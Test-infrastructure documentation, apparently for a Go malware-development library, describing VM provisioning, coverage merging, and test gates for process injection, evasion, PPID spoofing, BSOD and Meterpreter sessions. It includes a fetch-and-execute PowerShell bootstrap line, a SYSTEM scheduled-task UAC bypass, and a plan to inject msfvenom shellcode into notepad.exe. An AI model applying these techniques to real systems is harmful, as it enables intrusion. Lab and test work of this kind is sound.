Kali DHCP IP mismatchKaliHost=192.168.56.200, DHCP assigns .101sudo ip addr add 192.168.56.200/24 dev eth1

Coverage Workflow — test harness state (as of 2026-04-22)

This document is the entry point for any agent or contributor picking up the coverage + VM-testing work. It describes the infrastructure currently in place, how to reproduce it, what passes / skips / fails, and what's left to do.

[!NOTE] The pass/skip counts in this document reflect the 2026-04-22 baseline run. Newer infrastructure shipped after that date — win/com.Error shared HRESULT helper (consumed by runtime/clr + persistence/lnk), stealthopen.Creator write-side interface (LNK / ADS / .kirbi / PE / .syso emit), and the LNK three-sink API (Save / BuildBytes / WriteTo / WriteVia) — has unit-test coverage running on host but has not been re-baselined under bash scripts/full-coverage.sh. See testing.md for the per-package row-level coverage table updated to the current API surface.

For bootstrap from scratch (creating VMs, SSH keys, INIT snapshots) see docs/vm-test-setup.md. For per-test-type details (x64dbg harness, BSOD, Meterpreter matrix) see docs/testing.md. This document is the cross-platform coverage collection workflow itself.


TL;DR — two commands to reproduce everything

# 1) Provision the VMs (idempotent — short-circuits what's already installed).
#    Installs .NET 3.5 on win10, postgresql + msfdb on debian13, then takes
#    a TOOLS snapshot per VM. ~10 min on first run, <30s on re-runs.
bash scripts/vm-provision.sh

# 2) Collect coverage end-to-end (host + Linux VM + Windows VM, all gates
#    open, consolidated report). ~25 min.
bash scripts/full-coverage.sh --snapshot=TOOLS

Outputs (written to ignore/coverage/, which is gitignored):

  • report-full.md — per-package table sorted by ascending coverage, with a function-level gap list for the packages that aren't at 100%.
  • cover-merged-full.out — merged Go cover profile (consumable by go tool cover).
  • tallies.txt — one-line per-run summary in native go test format.
  • <domain>/test.log + <domain>/cover.out — per-VM artifacts.

Script architecture

ScriptRoleDepends on
cmd/vmtestVM orchestrator (start, push, exec, fetch, stop, restore). Extension of the existing tool: new -report-dir flag auto-fetches cover.out + test.loglibvirt or VirtualBox; scripts/vm-test/config.yaml + config.local.yaml
scripts/vm-provision.shInstalls missing tools in each VM and snapshots TOOLSSSH to the 3 VMs; sudo on Kali; UAC bypass via schtasks SYSTEM on Windows
scripts/full-coverage.shEnd-to-end wrapper: boots the 3 VMs, exports all gates, runs host + Linux VM + Windows VM, merges profiles, restores snapshotsinternal/tools/coverage-merge, cmd/vmtest
internal/tools/coverage-mergeMerges N Go cover profiles (union, per-block max hit count), renders Markdowngo tool cover

Common flags:

  • --snapshot=NAME (default INIT) — snapshot used for restore, also forwarded to vmtest via MALDEV_VM_*_SNAPSHOT.
  • --no-restore — leave VMs running after the run (debugging).
  • --skip-host / --skip-linux-vm / --skip-windows-vm — granular control.
  • --only=<vm> on vm-provision.sh — provision a single VM.
  • Env overrides (MALDEV_VM_WINDOWS_SSH_HOST, MALDEV_KALI_SUDO_PASSWORD, MALDEV_VM_SNAPSHOT, …) for portability across hosts.

Concrete usage examples

# Provision just Windows, don't touch Kali/Linux.
bash scripts/vm-provision.sh --only=windows

# Quick iteration on a single package — skip the host + Linux VM phases.
bash scripts/full-coverage.sh --snapshot=TOOLS --skip-host --skip-linux-vm

# Cross-version coverage: include the optional second Windows build (win11-2).
# Auto-skips when scripts/vm-test/config.local.yaml has no windows11: block.
bash scripts/full-coverage.sh                    # win10 + win11-2 + linux + kali

# Skip the second Windows build explicitly:
bash scripts/full-coverage.sh --skip-windows11-vm

# Narrow vmtest directly at one package (faster than the full wrapper).
MALDEV_VM_WINDOWS_SSH_HOST=192.168.122.122 \
MALDEV_VM_WINDOWS_SNAPSHOT=TOOLS \
MALDEV_INTRUSIVE=1 MALDEV_MANUAL=1 \
  go run ./cmd/vmtest -report-dir=ignore/coverage windows \
    "./runtime/clr/..." "-count=1 -v -timeout=5m"

# Merge arbitrary profiles by hand.
go run internal/tools/coverage-merge \
  -out ignore/coverage/cover-merged.out \
  -report ignore/coverage/report.md \
  ignore/coverage/cover-linux-host.out \
  ignore/coverage/win10/cover.out \
  ignore/coverage/win10/clrhost-cover.out

Snapshot inventory

Each VM has two snapshots dedicated to the test harness:

VMINITTOOLS
win10Go 1.26.2 + OpenSSH + authorized_keysINIT + .NET Framework 3.5 enabled
win11-2 (optional)Go 1.26.2 + OpenSSH + authorized_keysnot provisioned — second build for cross-version sanity, no TOOLS additions yet
debian13 (Kali)Go + MSF + OpenSSH + authorized_keysINIT + postgresql enable --now + msfdb init
ubuntu20.04-Go 1.26.2 + rsync + authorized_keys(placeholder — identical to INIT for now)

Rule: always test on TOOLS. INIT stays pristine as a fallback if TOOLS gets corrupted. vm-provision.sh is idempotent: if TOOLS already exists and the tools are already installed, it's a no-op.


Test gates (environment variables)

The harness uses opt-in gates so running go test ./... locally doesn't accidentally trigger destructive operations.

VariableEffectWhen to enable
MALDEV_INTRUSIVE=1Unblocks tests that mutate process state (hooks, patches, injection)VM runs only
MALDEV_MANUAL=1Unblocks tests that need admin + VM (services, scheduled tasks, impersonation with password, CLR legacy path, CVE PoCs)VM runs only
MALDEV_KALI_SSH_HOST / _PORT / _KEY / _USERPoints to the Kali VM for MSF/Meterpreter testsAlways set when Kali is up
MALDEV_KALI_HOSTLHOST for reverse payloads — same IP as KaliDitto
MALDEV_VM_WINDOWS_SSH_HOST / _LINUX_SSH_HOSTOverrides virsh domifaddr auto-discovery when the libvirt session can't see DHCP leases (Fedora host)On hosts where auto-discovery fails
MALDEV_VM_*_SNAPSHOTSelects the snapshot used for restore per VMTo pin TOOLS explicitly

scripts/full-coverage.sh exports all 10 variables automatically — pass --snapshot=TOOLS and it handles the rest.


Reference results (run from 2026-04-22 — TOOLS snapshot)

  cover-linux-host.out                     cov=44.8% (host, all gates)
  ubuntu20.04-                             cov=44.4% P=310  F=0*  S=41   (Linux VM)
  win10                                    cov=50.0% P=672  F=0** S=23   (Windows VM)
  ----------------------------------------
  cover-merged-full.out                    cov=51.9% (merged)

Progression over the course of the work:

StepMerged coverageDelta
Baseline (Linux host only, no gates)39.4%
+ Linux VM + Windows VM (3 batches)41.3%+1.9
+ 16 stub tests added43.1%+1.8
+ MALDEV_INTRUSIVE=1 + MALDEV_MANUAL=1 + Kali51.3%+8.2
+ TOOLS snapshot (.NET 3.5)51.3%+0 ¹
+ compat polyfill tests (cmp, slices)51.4%+0.1
+ clrhost subprocess coverage merge51.9–52.0%+0.6

¹ The runtime/clr CLR tests still SKIP on this VM — the TOOLS provisioning enabled .NET 3.5 but the legacy v2 COM activation chain remains incomplete (see CLR v2 activation blocker below). The merge coverage for runtime/clr is from the failure paths in Load(), which the clrhost-cover.out profile captures.

* Historical: TestProcMemSelfInject flapped 2 out of 3 runs (transient SIGSEGV in the child during exit cleanup, after injection succeeded). Fixed via 3× retry + PROCMEM_OK marker match in stdout instead of relying on exit code.

** Historical: TestBusyWaitPrimality failed on the Windows VM (took 10.15 s against a 10 s upper bound). Fixed by raising the bound to 60 s — the VM's CPU is shared (20 vCPUs / 4 GB RAM) and non-deterministic.


Remaining SKIPs — justified inventory (64 across the all-gates run)

SKIPs aren't a defect as long as each one is legitimate. Classification:

#FamilyExamplesFixable?
40Platform mismatchRequireWindows on Linux VM, RequireLinux on WindowsNo — by design
5Skip-because-adminTestAddAccessDenied tests the "Access Denied" branch when not admin; correct to skip when we are adminNo — inverted-logic check
3.NET 3.5 subprocess pathsTestLoadAndClose, TestExecuteAssembly*, TestExecuteDLL*Partial — see "clrhost" above
3External tools missingTestBuildWithCertificate (signtool, Windows SDK 1 GB), TestUPXMorphRealBinary (UPX 3.x only — we have 4.2.4)High cost — documented
3Interactive session requiredTestCapture*, TestCaptureSimulatedKeystrokes — need session 1 (desktop); SSH opens session 0Possible via RDP + AutoLogon, low priority
4SC-specific contextTest{Hide,UnHide}Service* — require a pre-existing service with a specific SDWould need a dummy service in TOOLS
3MSF timing / PPIDTestMeterpreterRealSession (×2), TestPPIDSpoofer — MSF boot timing + PPID raceRetry loop possible
2!windows stubsTestEnforcedNonWindowsStub, TestDisableNonWindowsStubCorrectly skip on Windows — no action
2NTFS / memory protectionTestFiber_RealShellcode, TestSetObjectIDDefender / NTFS quirks

CLR v2 legacy activation blocker

runtime/clr tests (TestLoadAndClose, TestExecuteAssemblyEmpty, TestExecuteDLLValidation, TestExecuteDLLReal) skip with:

clr: ICorRuntimeHost unavailable (install .NET 3.5 and call InstallRuntimeActivationPolicy before Load)

This is environmental, not a code bug. Diagnosed during the 2026-04-22 session:

  • Get-WindowsOptionalFeature -Online -FeatureName NetFx3State=Enabled
  • C:\Windows\Microsoft.NET\Framework64\v2.0.50727\mscorwks.dll present (10.6 MB)
  • A hand-written C# hello.cs compiled with v2.0.50727\csc.exe runs correctly — the v2 runtime itself works end-to-end
  • TestInstallAndRemoveRuntimeActivationPolicy PASSES (writes/removes the legacy config file correctly)

Root cause: CLSID {CB2F6722-AB3A-11D2-9C40-00C04FA30A3E} (CorRuntimeHost) is not registered in HKLM\SOFTWARE\Classes\CLSID\. Only the sibling CLSID {CB2F6723-AB3A-11d2-9C40-00C04FA30A3E} (IMetaDataDispenser) exists. DISM /Enable-Feature /FeatureName:NetFx3 is not sufficient — it enables the runtime bits but leaves the legacy v2 activation chain incomplete.

Attempts that did NOT unblock it (all tried during the session):

  • Reboot (actually shutdown /r under SYSTEM didn't really reboot)
  • regsvr32 mscoree.dll (System32 + SysWOW64, both exit 0 but CLSID still missing)
  • RegAsm.exe mscorlib.dll /codebase (failed RA0000 "need admin credentials" even under SYSTEM)
  • Manual reg import of the CLSID structure mirroring the sibling {CB2F6723-…} entry — keys exist (HKLM\SOFTWARE\Classes\CLSID\{CB2F6722-AB3A-11D2-9C40-00C04FA30A3E}\InprocServer32mscoree.dll, ThreadingModel=Both, ProgID=CLRRuntimeHost, ImplementedInThisVersion={2.0.50727,4.0.30319}) but CorBindToRuntimeEx still returns 0x80040154 (REGDB_E_CLASSNOTREG) for both v2.0.50727 and v4.0.30319. Confirmed 2026-04-25 with a one-shot Go diagnostic that calls mscoree!CorBindToRuntimeEx directly and prints the raw HRESULT. Conclusion: mscoree's internal binding looks at more than just the CLSID — interface registration, typelib, and Fusion entries are also missing, and only the full .NET 3.5 Redistributable (offline dotnetfx35.exe from Win7-era, or the in-place sources/sxs payload from a Win10 ISO) runs the complete chain.
  • InstallRuntimeActivationPolicy() at startup of clrhost (writes <exe>.config — doesn't help, the issue is COM registration)

What was added in TOOLS v2 (2026-04-25):

  • scripts/vm-provision.sh now imports the CLSID {CB2F6722-…} entry every provisioning pass, so future debug rounds start from the same baseline rather than rediscovering the missing key. It also pushes + runs dism /online /Add-Package against the Win10 ISO's sources/sxs/microsoft-windows-netfx3-ondemand-package*.cab when staged at MALDEV_NETFX3_CAB. Confirmed 2026-04-25 that this still doesn't unblock CorBindToRuntimeEx after a reboot, but it gets the snapshot one step closer to a working CLR2 activation chain.
  • runtime/clr/clr_windows.go::corBindToRuntimeEx wraps the REGDB_E_CLASSNOTREG path with %w + the raw HRESULT, so SKIP messages now read CorBindToRuntimeEx(v2.0.50727): HRESULT 0x80040154 (REGDB_E_CLASSNOTREG): clr: ICorRuntimeHost unavailable … — the next investigator sees the actual code without rebuilding.

What was tried + ruled out 2026-04-25 (after pt 1/2):

  1. dism /online /enable-feature /featurename:NetFx3 /all /Source:<sources/sxs> /LimitAccess after a dism /disable-feature round-trip — failed 0x488 (1168, ERROR_NOT_FOUND). The OnDemand cab alone isn't enough for /enable-feature.
  2. dism /online /Add-Package /PackagePath:<sources/sxs/...netfx3-ondemand...cab> — succeeded, exit 3010 (REBOOT_REQUIRED). After reboot, CorBindToRuntimeEx still returns 0x80040154. The OnDemand package adds the runtime files but not the legacy COM/typelib/Fusion chain mscoree binds against.
  3. Win7-era .NET Framework 3.5 Redistributable (dotnetfx35.exe, 232 MB from Microsoft download CDN) — the installer ran silently and returned 0 but produced no log content beyond DONE_EXIT=0; on Win10 it refuses to install (the OS is "newer than supported"). HRESULT unchanged.

What to try next (still open, needs Windows ISO):

  1. Mount a Win10 22H2 ISO inside the VM and run dism /online /enable-feature /featurename:NetFx3 /all /source:D:\sources\sxs /LimitAccess. This drives the full registration chain that the network-only DISM path skips.
  2. Install the .NET Framework 3.5 Redistributable offline installer (dotnetfx35.exe, Win7-era) — even on Win10 it tends to trigger the full COM/typelib/Fusion registration via mscorsvw.exe post-install hooks.
  3. sfc /scannow to restore system file coherence.
  4. Re-provision the win10 VM from a fresh Windows ISO that bundles .NET 3.5 in the install base rather than activated after the fact via DISM.

The clrhost coverage infrastructure itself is correct — go build -cover, GOCOVERDIR, go tool covdata textfmt, vmtest.Fetch, and coverage-merge.go all work. When the CLR environment cooperates, 7+ runtime/clr functions light up in the merged profile (Load 56.7%, enumerate 100%, orderCandidates 90%, metaHostRuntime 77.8%, runtimeInfoBindLegacyV2 100%, runtimeInfoCorHost 62.5%, createMetaHost 80%). Don't rewrite the mechanism — just fix the VM.


Other open leads

  1. Signtool — install Windows SDK (headless via winget install Microsoft.WindowsSDK), re-snapshot TOOLS. Unblocks TestBuildWithCertificate.

  2. Service skeleton for cleanup/service — pre-create a dummy service in the TOOLS snapshot (sc create maldev-test-svc binPath=C:\Windows\System32\cmd.exe). Unblocks Test{Hide,UnHide}Service*.

  3. Packages without _test.go (29 as of 2026-04-22; see ignore/coverage/no-tests.txt if regenerated) — mainly cmd/* binary entry points and pe/masquerade/preset/*. The former are main() functions (out of scope for unit tests); the latter are resource-only packages with no executable code.

  4. Meterpreter matrixscripts/x64dbg-harness/meterpreter_matrix/ exercises 20 techniques × MSF sessions. Not integrated into full-coverage.sh yet; run manually. Results logged in docs/testing.md.

  5. Automated "missing tool" detection — extend vm-provision.sh to actively probe for signtool, Windows SDK, interactive session (today it checks only NetFx3, postgresql, msfdb). Add an issue-style section in the log listing what's absent.


Files produced by this work

cmd/vmtest/driver.go                       # +Fetch, +io.Writer in Exec
cmd/vmtest/driver_libvirt.go               # +Fetch scp, +io.Writer
cmd/vmtest/driver_vbox.go                  # +Fetch copyfrom, +io.Writer
cmd/vmtest/runner.go                       # +-report-dir, -coverprofile inject, tee log, Fetch cover.out + clrhost-cover.out
cmd/vmtest/runner_test.go                  # 4 unit tests (injectCoverprofile, safeLabel, guestCoverPath, guestClrhostCoverPath)
cmd/vmtest/main.go                         # +-report-dir flag

internal/tools/coverage-merge                  # merge N cover profiles → Markdown
scripts/full-coverage.sh                   # end-to-end workflow
scripts/vm-provision.sh                    # install tools + snapshot TOOLS

docs/coverage-workflow.md                  # this file

testutil/kali_test.go                      # 4 env resolvers (kaliSSHHost/Port/Key/User)
testutil/clr_windows.go                    # clrhost built with -cover, covdata → textfmt
testutil/clrhost/main.go                   # +exec-dll-real op, +--dll-path flag
testutil/clrhost/maldev_clr_test.dll       # 3 KB .NET 2.0 assembly (Maldev.TestClass.Run)

evasion/unhook/factories_test.go           # 5 factories + Name methods (Windows)
recon/hwbp/technique_test.go             # Technique() factory (Windows)
evasion/cet/cet_test.go                    # +Enforced/Disable stub tests
process/tamper/hideprocess/hideprocess_stub_test.go
evasion/stealthopen/stealthopen_stub_test.go
process/tamper/fakecmd/fakecmd_stub_test.go
evasion/preset/preset_stub_test.go
evasion/hook/hook_stub_test.go
evasion/hook/probe_stub_test.go
evasion/hook/remote_stub_test.go
evasion/hook/bridge/controller_stub_test.go
evasion/hook/bridge/controller_windows_test.go  # 8 deeper tests for CallOriginal, Args, Log, Ask
evasion/hook/hook_lifecycle_windows_test.go     # TestReinstallAfterRemove, TestInstallOnPristineTargetAfterGroupRollback
c2/transport/namedpipe/namedpipe_stub_test.go
cleanup/ads/ads_stub_test.go
process/session/sessions_stub_test.go
runtime/clr/clr_stub_test.go
internal/compat/cmp/cmp_modern_test.go
internal/compat/slices/slices_modern_test.go

runtime/clr/clr_windows_test.go                 # +TestExecuteDLLReal

recon/timing/timing_test.go              # TestBusyWaitPrimality upper bound 10s → 60s
inject/linux_test.go                       # TestProcMemSelfInject retry 3× + PROCMEM_OK marker

Troubleshooting

  • VM unreachable over SSH. virsh -c qemu:///session list --all, virsh start <vm>, check ip neigh show | grep 52:54 (VM MAC in the ARP table). Session-mode libvirt doesn't expose DHCP leases via virsh domifaddr, hence the env-pinned IPs.
  • DISM "Access denied". OpenSSH on Windows 10 runs at medium integrity; UAC blocks elevation. Workaround: run via schtasks /ru SYSTEM (see scripts/vm-provision.sh for the pattern).
  • Kali sudo prompts for a password. Default is test; override via MALDEV_KALI_SUDO_PASSWORD.
  • TOOLS snapshot corrupted. virsh snapshot-delete <vm> --snapshotname TOOLS, then re-run vm-provision.sh.
  • Windows tests frozen with no output. go test ./... compiles silently for the first ~5 min — that's normal. Use -v to see each test as it starts rather than waiting for the package-level summary.
  • TestProcMemSelfInject / TestBusyWaitPrimality red. If they flap despite the retry/bound fixes, reproduce with go test -count=5 -run <Name> and tighten further.
  • VM silently pauses mid-run (QEMU paused state). Observed 2 out of 5 runs during the 2026-04-22 session. ARP entry for the VM drops, SSH returns "No route to host". Workaround: virsh destroy <vm> && virsh snapshot-revert <vm> --snapshotname TOOLS --force, then relaunch. If chronic, recreate TOOLS from a fresh INIT.
  • runtime/clr tests SKIP with ICorRuntimeHost unavailable. See the CLR v2 activation blocker section above. Not a code bug in maldev — the .NET 3.5 install on this VM is incomplete at the COM-registration layer.

VM Test Setup — Reproducible Bootstrap

Scope. This document covers bootstrap from zero: host tools, guest OS install, SSH keys, INIT snapshot. For per-test-type details (injection matrix, Meterpreter, evasion byte-pattern verification, BSOD) see docs/testing.md. For the cross-platform coverage collection workflow (merged report) see docs/coverage-workflow.md.

This guide brings a fresh host (Fedora/libvirt or Windows/VirtualBox) to the state where ./scripts/test-all.sh runs the full pass/fail matrix:

  • memscan static verification matrix — 77+ byte-pattern checks
  • Linux VM go test — intrusive + manual tests enabled
  • Windows VM go test — intrusive + manual tests enabled

For the merged coverage workflow (same VMs, additionally captures cover.out from each guest and unions profiles into a single report), run scripts/full-coverage.sh after provisioning a TOOLS snapshot with scripts/vm-provision.sh — see docs/coverage-workflow.md.

The Kali VM (Meterpreter handler) is provisioned similarly but orchestrated separately via testutil/kali.go.


Host requirements

Host OSHypervisorTools the host needs
Fedora / Debian / Ubuntulibvirt + qemuvirsh, ssh, scp, rsync, sshpass (for install-keys.sh), Go 1.25+
Windows 10/11VirtualBox 7+VBoxManage on PATH, Git for Windows (Git Bash), Go 1.25+

Fedora quick install:

sudo dnf install -y @virtualization virt-manager virt-install sshpass rsync openssh-clients
sudo systemctl enable --now libvirtd
sudo usermod -aG libvirt "$USER"   # re-login required

Windows: download VBox + Go MSI, add C:\Program Files\Oracle\VirtualBox to PATH, open Git Bash.


VM inventory

Three VMs, names committed in scripts/vm-test/config.yaml as defaults. Per-host overrides in scripts/vm-test/config.local.yaml (gitignored).

RoleVirtualBox default namelibvirt default nameSnapshotUserPurpose
WindowsWindows10win10INITtest (admin)unit + intrusive tests, memscan target
Windows 11 (optional)Windows11win11-2INITtest (admin)second Windows build for cross-version coverage
LinuxUbuntu25.10ubuntu20.04INITtestLinux unit tests, procmem/memfd/ptrace
Kali(not managed by vmtest)kaliINITtestMSF msfconsole/msfvenom, Meterpreter end-to-end

The windows11 target is optional — vmtest all runs all configured VMs but vmtest windows / vmtest windows11 lets you target one build at a time. To add a second Windows VM after the first is set up, repeat the bootstrap steps with the libvirt domain name in config.local.yaml's vms.windows11.libvirt_name.

INIT is a snapshot taken AFTER provisioning (Go installed, OpenSSH up, SSH key authorized, firewall opened). Every test run reverts to INIT.


One-time bootstrap, from scratch

1. Generate host-side SSH keys (one per VM role)

mkdir -p ~/.ssh && chmod 700 ~/.ssh
ssh-keygen -t ed25519 -f ~/.ssh/vm_windows_key -N '' -C "maldev-vmtest-windows"
ssh-keygen -t ed25519 -f ~/.ssh/vm_linux_key   -N '' -C "maldev-vmtest-linux"
ssh-keygen -t ed25519 -f ~/.ssh/vm_kali_key    -N '' -C "maldev-vmtest-kali"

Keys live outside the repo. Never committed.

2. Install the guest OSes

  • Linux guest: Ubuntu 20.04+ or Debian. During install, create local user test with password test, grant sudo. Install can be anything (virt-install cloud-init, GNOME Boxes, VirtualBox GUI).
  • Windows guest: Windows 10/11. During install, create local user test with password test, add to Administrators.
  • Kali guest: standard Kali install. Create user test with password test (or any pair you pass to sshpass).

3. Provision each guest (bring it to ready state)

Two paths per guest. Pick one.

3a. Scripted — inside the guest

Copy the bootstrap script into the guest and run it.

  • Linux / Kali guest — from the host:

    scp scripts/vm-test/bootstrap-linux-guest.sh test@<guest-ip>:/tmp/
    ssh test@<guest-ip> "bash /tmp/bootstrap-linux-guest.sh"
    

    The script: installs openssh-server + rsync + curl + Go 1.26 (or GO_VERSION override), enables sshd at boot, creates /usr/local/bin/go symlink so non-login SSH sessions see Go.

  • Windows guest — inside the VM (elevated PowerShell):

    # Paste the public key and run (one-time):
    iwr -useb http://<host-ip>/bootstrap-windows-guest.ps1 | iex
    # OR copy scripts\vm-test\bootstrap-windows-guest.ps1 into the VM and run:
    .\bootstrap-windows-guest.ps1 -PublicKey "ssh-ed25519 AAAA..."
    

    The script: installs OpenSSH Server, starts sshd, opens firewall 22 and 50300, comments out the Match Group administrators block in sshd_config (so admin users read ~/.ssh/authorized_keys normally), installs Go into C:\Go, creates memscan firewall rule. Pass -PublicKey containing the content of ~/.ssh/vm_windows_key.pub.

3b. Manual — if you prefer

See Manual guest provisioning at the bottom.

4. Push SSH keys into the guests

# Start each VM and ensure sshd is listening on port 22.
virsh start win10 && virsh start ubuntu20.04 && virsh start kali     # libvirt
# (or use VBoxManage startvm on Windows)

./scripts/vm-test/install-keys.sh linux   # pushes vm_linux_key.pub via ssh-copy-id
./scripts/vm-test/install-keys.sh kali    # same for Kali
# Windows: the bootstrap script already installed the key — skip install-keys.sh.

5. Create the INIT snapshot on each VM

libvirt:

for d in win10 ubuntu20.04 kali; do
    virsh snapshot-create-as "$d" --name INIT --description "post-provision ready state"
done

VirtualBox:

for vm in Windows10 Ubuntu25.10 Kali; do
    VBoxManage snapshot "$vm" take INIT --description "post-provision ready state" --live
done

6. Wire up config.local.yaml (host-side, per-host overrides)

cp scripts/vm-test/config.local.example.yaml scripts/vm-test/config.local.yaml
# edit: set libvirt_name if your domain names differ, and ssh_key paths.

For Kali: its host/user/key come from environment, not YAML.

cp scripts/vm-test/kali-env.sh.example scripts/vm-test/kali-env.sh
# edit: set MALDEV_KALI_SSH_HOST to `virsh domifaddr kali | awk '/ipv4/...'`
# Then source it from your shell:
echo '. ~/GolandProjects/maldev/scripts/vm-test/kali-env.sh' >> ~/.bashrc

7. Verify

./scripts/test-all.sh --only memscan   # static matrix
./scripts/test-all.sh --only linux     # Linux go test ./...
./scripts/test-all.sh --only windows   # Windows go test ./...
./scripts/test-all.sh                  # everything, with a unified report

Expected final summary:

  memscan    PASS  total sub-checks: 77 passed / 0 failed (0 fatal row(s))
  linux      PASS  packages: N ok / 0 FAIL (exit=0)
  windows    PASS  packages: N ok / 0 FAIL (exit=0)
overall: PASS

Debugging native crashes inside the Windows VM

When a test process crashes with an access violation on a non-Go thread (e.g. a thread-pool callback, as happens with the Ekko ROP chain), Go's own crash reporter usually catches it and prints a traceback — but the stack dump is often enough to pinpoint the bug. Workflow:

# Run the failing test DIRECTLY via SSH (bypassing vmtest so the VM
# doesn't auto-revert and lose state). Source is pushed as a tarball.
tar -czf /tmp/src.tar.gz --exclude='.git' --exclude='ignore' .
scp -i $HOME/.ssh/vm_windows_key -o StrictHostKeyChecking=no \
    /tmp/src.tar.gz test@<VM_IP>:C:/maldev-src.tar.gz
ssh -i $HOME/.ssh/vm_windows_key test@<VM_IP> \
    'cd /d C:\maldev & tar -xzf C:\maldev-src.tar.gz & \
     go test -c -o C:\t.exe ./<package>/'
ssh -i $HOME/.ssh/vm_windows_key test@<VM_IP> \
    'C:\t.exe -test.v -test.run <Name>' > /tmp/crash.log 2>&1
head -30 /tmp/crash.log    # exception code, address, goroutine trace

Go's crash output includes:

  • signal 0xc0000005 code=0x0 addr=0x... — exception code + fault address
  • goroutine N gp=... [running]: + symbolic stack frames
  • unexpected return pc for X called from 0x... — surfaces stack corruption

If the Go reporter doesn't surface enough detail, WER LocalDumps (configured by scripts/vm-provision.sh) writes a full minidump to C:\Dumps\*.dmp; fetch it back via scp and analyze on the host. The TOOLS snapshot already has the registry keys (DumpType=2, DumpFolder=C:\Dumps).

Troubleshooting

SymptomCauseFix
virsh list shows emptyuser not in libvirt group OR URI mismatchsudo usermod -aG libvirt $USER + re-login; or virsh -c qemu:///session list for user-mode VMs (GNOME Boxes default)
Windows SSH key-auth refused despite ~/.ssh/authorized_keysMatch Group administrators in sshd_config — admins read administrators_authorized_keysComment out the Match block (bootstrap script does this)
memscan server spawned but /health times outWindows Firewall blocks 50300New-NetFirewallRule -Name memscan-in -Direction Inbound -LocalPort 50300 -Protocol TCP -Action Allow
memscan server dies as soon as SSH session endsWindows OpenSSH binds children to sshd's JobObjectOrchestrator already uses Task Scheduler (schtasks /Create /SC ONCE + /Run) — runs outside the job
"Le chemin d'accès spécifié est introuvable" from virsh parsingFrench localeLC_ALL=C forced in all scripts (install-keys.sh, driver_libvirt.go)
go not in PATH via non-login SSHdefault /etc/profile.d/go.sh only loads for login shellsSymlink /usr/local/go/bin/go/usr/local/bin/go (bootstrap script does this)
ubuntu20.04- with trailing dashGNOME Boxes install artifactEither use the name as-is in config.local.yaml or virsh domrename ubuntu20.04- ubuntu20.04
Kali VM named debian13 in libvirtinstaller chose that nameUse libvirt_name: debian13 in kali-env.sh, or virsh domrename debian13 kali

Manual guest provisioning

If the bootstrap scripts don't fit, here's the minimum each guest needs.

Linux / Kali guest

sudo apt update && sudo apt install -y openssh-server rsync curl
sudo systemctl enable --now ssh

curl -LO https://go.dev/dl/go1.26.2.linux-amd64.tar.gz
sudo rm -rf /usr/local/go
sudo tar -C /usr/local -xzf go1.26.2.linux-amd64.tar.gz
sudo ln -sf /usr/local/go/bin/go    /usr/local/bin/go
sudo ln -sf /usr/local/go/bin/gofmt /usr/local/bin/gofmt
rm go1.26.2.linux-amd64.tar.gz

Kali only: sudo apt install -y metasploit-framework (usually pre-installed).

Windows guest (elevated PowerShell)

Add-WindowsCapability -Online -Name OpenSSH.Server~~~~0.0.1.0
Start-Service sshd
Set-Service -Name sshd -StartupType Automatic
New-NetFirewallRule -Name memscan-in -Direction Inbound -LocalPort 50300 -Protocol TCP -Action Allow
New-NetFirewallRule -Name ssh-in -Direction Inbound -LocalPort 22 -Protocol TCP -Action Allow

# Authorize the host's public key.
$k = 'ssh-ed25519 AAAA... maldev-vmtest-windows'
New-Item -ItemType Directory -Force C:\Users\test\.ssh | Out-Null
Add-Content C:\Users\test\.ssh\authorized_keys $k
icacls C:\Users\test\.ssh\authorized_keys /inheritance:r /grant "test:F" /grant "SYSTEM:F"

# If user 'test' is an admin: comment Match Group administrators block.
$cfg = "$env:ProgramData\ssh\sshd_config"
(Get-Content $cfg) -replace '^(Match Group administrators)','# $1' `
    -replace '^(\s*AuthorizedKeysFile\s+__PROGRAMDATA__)','# $1' |
    Set-Content $cfg -Encoding ASCII
Restart-Service sshd

# Go 1.26.2.
$zip = "$env:TEMP\go.zip"
Invoke-WebRequest https://go.dev/dl/go1.26.2.windows-amd64.zip -OutFile $zip -UseBasicParsing
Expand-Archive $zip -DestinationPath C:\ -Force
[Environment]::SetEnvironmentVariable("Path",
    [Environment]::GetEnvironmentVariable("Path","Machine") + ";C:\Go\bin", "Machine")
Remove-Item $zip

Then take a INIT snapshot and register the libvirt/VBox name in scripts/vm-test/config.local.yaml.


Future extensions (Phase 5)

Not currently in the matrix, kept in this note so a contributor can add them without re-deriving the design:

  1. Remote-inject verifs (~20 additional sub-checks): CreateRemoteThread, RtlCreateUserThread, EarlyBirdAPC, QueueUserAPC, ThreadHijack, KernelCallbackExec, PhantomDLLInject, ModuleStomp, ExecuteCallback {EnumWindows, TimerQueue, CertEnumStore} × 4 callers where applicable. Pattern: extend cmd/memscan-harness/harness_windows.go with a -target notepad flag that spawns notepad.exe, uses that PID for inject.Config.PID, then reports both harness PID and target_pid=<notepad>. The orchestrator attaches to target_pid for /find. Expected "fails" per docs/testing.md:61-62: ThreadHijack+Direct/Indirect (RSP alignment), CreateFiber (deadlocks Go).

  2. BSOD test (crashes VM, restores snapshot): reimplement the gitignored scripts/vm-test-bsod.go using the same vmtest driver. Launch harness via scheduled task that calls bsod.Trigger(nil), poll sshd disappearance on the VM, then driver.Restore().

  3. Meterpreter matrix (~21 end-to-end sessions): wrap the Meterpreter e2e scenarios from docs/testing.md:78-108 in the same matrix-runner shape as memscan. Each row: spawn MSF handler on Kali via testutil.KaliStartListener, inject msfvenom shellcode via one Method × Caller, assert testutil.KaliCheckSession() returns true.

  4. MCP SSE streamable HTTP: the stdio MCP adapter (cmd/memscan-mcp) already speaks JSON-RPC 2.0. To expose it over network for remote Claude Code usage, add --sse mode that listens HTTP on a port, implementing the MCP SSE transport. ~100 LoC.